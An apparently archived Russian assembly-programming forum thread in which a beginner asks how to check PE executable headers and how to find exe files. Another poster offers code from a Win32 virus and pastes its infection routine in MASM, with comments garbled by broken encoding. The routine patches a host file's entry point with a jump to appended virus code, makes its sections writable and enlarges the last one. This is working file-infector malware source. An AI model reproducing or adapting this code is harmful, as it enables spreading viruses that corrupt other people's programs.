|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Дек 20, 2002 22:05:47 Как прочитать определенный кусок... К примеру,надо узнать явл.ли файл exe,так.Байты по смещению 0h должны быть равны 5A4Dh,так.Как мне проверить что-там по смещению 0h? Как мне туда попасть?Чтобы в отладчике увидеть эти значения? Прошу прощения за ламерский вопрос,но не могу понять :( |
|
|
Дата: Дек 20, 2002 22:15:00 call GetModuleHandle,0 [eax]==5a4dh |
|
|
Дата: Дек 21, 2002 13:45:21 |
|
|
Дата: Дек 23, 2002 22:18:32 1)После проверки файла на принадлежность к РЕ,я столкнулся с такой проблемой:вроде файл и exe,но когда я проверяю его через 00005A4Dh,то оказывается, что не все "откликаются" на это. Что может быть,или это нормально??? 2)Если у кого что-нибудь подобное:программа (интересуют конечно сорцы) ищет файлы на диске(в дире),и потом создает текстовик, и вписывает туда имена всех найденных? Или подскажите как можно реализовать. |
|
|
Дата: Дек 23, 2002 23:19:02 · Поправил: comrade 1) Проверяйте на word ptr [eax], 5A4Dh, потому что IMAGE_DOS_HEADER.e_magic (signature 'MZ') 2 байта, а не 4. 2) Эта программа ищет все файлы, или только PE? |
|
|
Дата: Дек 24, 2002 00:56:49 Есть код вируса(WIN32) который: после запуска собирет в один файл все .ехе(PE), только имена разделены нулями (не текстовик). Дальше по очереди заражает то что нашел. Сам вирус собирается в три этапа... Могу кокой-нибудь кусок выложить - если нужно то какой ? |
|
|
Дата: Дек 26, 2002 00:35:01 to comrade: Эта прога ищет exe файлы.Когда она их находит,то отправляет на проверку (см.выше,я там описал как я проверяю),и если проверка прошла удачно,то выдает MessageBox,мол что она там нашла :). Дело вот в чем.Некоторые почему-то MZ,а некоторые MZP.И последнии он своим вниманием обделяет. to anonim: Выкладывай!Опусти просто сам процесс заражения,а все остальное кинь если можешь,буду лчень благодарен. |
|
|
Дата: Дек 26, 2002 05:11:02 Ну вот и проверяйте только MZ, 2 байта, а не 4 (dword). |
|
|
Дата: Дек 26, 2002 12:31:50 Вот самый интересный (в смысле работы с PE файлами) кусок. ;########################################################### ######### Startresdi PROC ;USES EDI ESI EBX ;========= îòêðûâàåì ôàéë è ÷èòàåì åãî çàãîëîâîê ======= mov eax,atdrvm add eax,120h Scall CreateFileA_,eax,0C0000000h,1,0,3,80h,0 cmp eax,-1 jz Quitx mov hFileInfct,eax Scall GetFileSize_,hFileInfct,0 mov flSiz,eax Scall GlobalAlloc_,0,2000h mov pMemInfct,eax mov esi,pMemInfct mov edi,2000h xor eax,eax mov ebx,hFileInfct Scall Readerx ;========== ïðîâåðèì ïîäõîäèò ëè ôàéë ============== cmp word ptr [esi],5A4Dh jnz Quitx mov ebx,[esi+3ch] cmp ebx,2000h ja Quitx cmp dword ptr [esi+ebx],00004550h jnz Quitx mov _3cDat,ebx ;========== ïðîâåðì íà çàðàæåííîñòü ================ ; ; ; ;========== èçìåíèì çàãîëîâîê ====================== add esi,ebx ;_3cDat ASSUME ESI:PTR IMAGE_NT_HEADERS mov edi,esi add edi,sizeof IMAGE_NT_HEADERS ASSUME EDI:PTR IMAGE_SECTION_HEADER push edi ;íà÷àëî òàëèöû çàãîëîâêîâ ñåêöèé ;------------ îïðåäèëèì â êàêîé ñåêöèè òî÷êà âõîäà ---- ;------------ èçìåíèì õàðàêòåðèñòèêè âñåõ çàãîëîâêîâ íà çàïèñûâàåìîñòü è èíò. äàííûå---- movsx ebx,[esi].FileHeader.NumberOfSections mov eax,[esi].OptionalHeader.AddressOfEntryPoint mov bh,1 NextSection: or [edi].Characteristics,80000040h xor ecx,ecx cmp eax, [edi].VirtualAddress jl @@1 inc cl mov ebp,[edi].VirtualAddress add ebp,[edi].Misc.VirtualSize cmp eax,ebp jg @@1 inc ch @@1: cmp cx,0101h jnz @@2 mov dl,bh @@2: add edi,sizeof IMAGE_SECTION_HEADER dec bl inc bh cmp bl,0 jnz NextSection movzx cx,byte ptr dl ; â ýòîé ñåêöèè òî÷êà âõîäà ;====== ÷èòàåì è ñîõðàíÿåì 6 áàéò èç òî÷êè âõîäà ======== sub edi,sizeof IMAGE_SECTION_HEADER mov eax,sizeof IMAGE_SECTION_HEADER dec cl mul cl pop edi push edi add edi,eax mov eax,[esi].OptionalHeader.AddressOfEntryPoint sub eax,[edi].VirtualAddress add eax,[edi].PointerToRawData mov enppnt,eax push esi mov ebx,hFileInfct mov esi,entdat mov edi,6 Scall Readerx pop esi pop edi ;========== êîðåêöèÿ è çàïèñü òî÷êè âõîäà è âîçâðàòà ======= ; ------------- óñòàíîâêà EDI íà çàãîëîâîê ïîñëåäíåé ñåêöèè ----- mov eax,sizeof IMAGE_SECTION_HEADER movsx ebx,[esi].FileHeader.NumberOfSections dec bl mul bl add edi,eax ;--------------- êîðåêöèÿ ðåàëüíîãî ðàçìåðà ïîñëåäíåé ñåêöèè ;================= mov ecx,[edi].PointerToRawData ;ïðîâåðêà íà óïàêîâàííûå ôàéëû è àðõèâû add ecx,[edi].SizeOfRawData cmp ecx,flSiz jz okfl cmp dword ptr [esi+0a8h],0 jz Quitx okfl: ;==================== mov eax,flSiz sub eax,[edi].PointerToRawData push eax ; ðåàëüíûé ðàçìåð ïîñëåäíåé ñåêöèè mov [edi].SizeOfRawData,eax mov ecx, add5r add [edi].SizeOfRawData,ecx ;(EndCod-BeginCod) ; óâåëè÷èì ðåàëüíûé ðàçìåð íà âåëè÷èíó êîäà âèðóñà ;---------------- âû÷èñëèì àäðåñ êîäà âèðóñà --------------- add eax,[edi].VirtualAddress mov ecx,[esi].OptionalHeader.AddressOfEntryPoint sub eax,ecx sub eax,5 add eax,0ch ;------------ çàïèøåì 5 áàéò â òî÷êó âõîäà (ïåðåõîä íà êîä âèðóñà) lea edx,entdat_ mov dword ptr [edx+1],eax mov byte ptr [edx],0e8h mov ecx,5 mov eax,enppnt mov ebx,hFileInfct Scall Writerx ;=========== êîðåêöèÿ âèðòóàëüíîãî ðàçìåðà ================= pop ecx ;---------------- âû÷èñëèì íîâûé âèðòóàëüíûé ðàçìåð ------------- mov eax,[edi].SizeOfRawData ; cmp eax,[edi].Misc.VirtualSize ;ïðîâåðèì ÷òîáû âèðóàëüíûé ðàçìåð ñåêöèè íå áûë ìåíüøå ðåàëüíîãî jl EXESecON ;åñëè ìåíüøå òî âûðîâíÿåì èõ mov [edi].Misc.VirtualSize,eax ; EXESecON: add [edi].Misc.VirtualSize,ecx ;----------- âû÷èñëèì îáùèé âèðòóàëüíûé ðàçìåð -------- mov edx,[edi].VirtualAddress add edx,[edi].Misc.VirtualSize mov [esi].OptionalHeader.SizeOfImage,edx ;---------------- çàïèøåì îáíîâëåííûé çàãîëîâîê ------------------- mov eax,0 mov ebx,hFileInfct mov ecx,1000h mov edx,esi sub edx,_3cDat Scall Writerx ;============ çàïèñü äàííûõ ============ mov eax,flSiz mov ebx,hFileInfct mov ecx,add5r ;(EndCod-BeginCod) mov edx,BeginCod ;ñìåùåíèå Scall Writerx ;============ âûõîä =========== Quitx: ASSUME EDI:nothing Scall CloseHandle_,hFileInfct Scall GlobalFree_,pMemInfct ret ;============= äàííûå äëÿ çòîé ïðîöåäóðû ================== pMemInfct dd 0 _3cDat dd 0 hFileInfct dd 0 flSiz dd 0 esphh dd 0 enppnt dd 0 add5r dd 0 BeginCod dd 0 entdat_ db 6 dup (0) entdat dd 0 Startresdi endp ;########################################## Readerx=$ Scall SetFilePointer_,ebx,eax,0,0 Scall ReadFile_,ebx,esi,edi,esp,0 ret ;######################################## Writerx=$ push ecx push edx Scall SetFilePointer_,ebx,eax,0,0 pop edx pop ecx Scall WriteFile_,ebx,edx,ecx,esp,0 ret ;######################################## |
|
|
Дата: Дек 28, 2002 22:43:02 Киньте плиз для примера такой вот несложный кусочек кода (для tasm'a): 1)У нас уже к примеру есть файл 2)Открываем 3)Читаем данные о "машине",word 04h,и переносим результат в eax, чтобы можно было посмотреть в Сайсе (fe:mov eax,buffer) 4)И если несложно еще что нибудь,только по дальше :-) Я просто не могу понять,как мне надо читать данные в разных участках файла :( Буду очень признателен если поможете! P.S.Все забываю написать:Спасибо __comrade and Аноним___ за помошь! |
|
|
Дата: Дек 31, 2002 10:33:12 |
|
|
Дата: Янв 2, 2003 22:57:44 А что-нибудь попроще :) Я еще совсем новичок! |
|
|
Дата: Янв 2, 2003 23:12:33 Что имёно? Разьве это не то, что вы просили? |
|
|
Дата: Янв 2, 2003 23:54:03 Именно то!Спасибо большое! Но просто там так сложно что-то :( Нельзя ли код полегче...поменьше...попонятнее Там же много-то и не надо,как я думаю. |
|
|
Дата: Янв 3, 2003 03:44:29 Я комментарии написал, но если этого не достатачно то прошу показать что именно не понятно, и я объясню. |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.082 |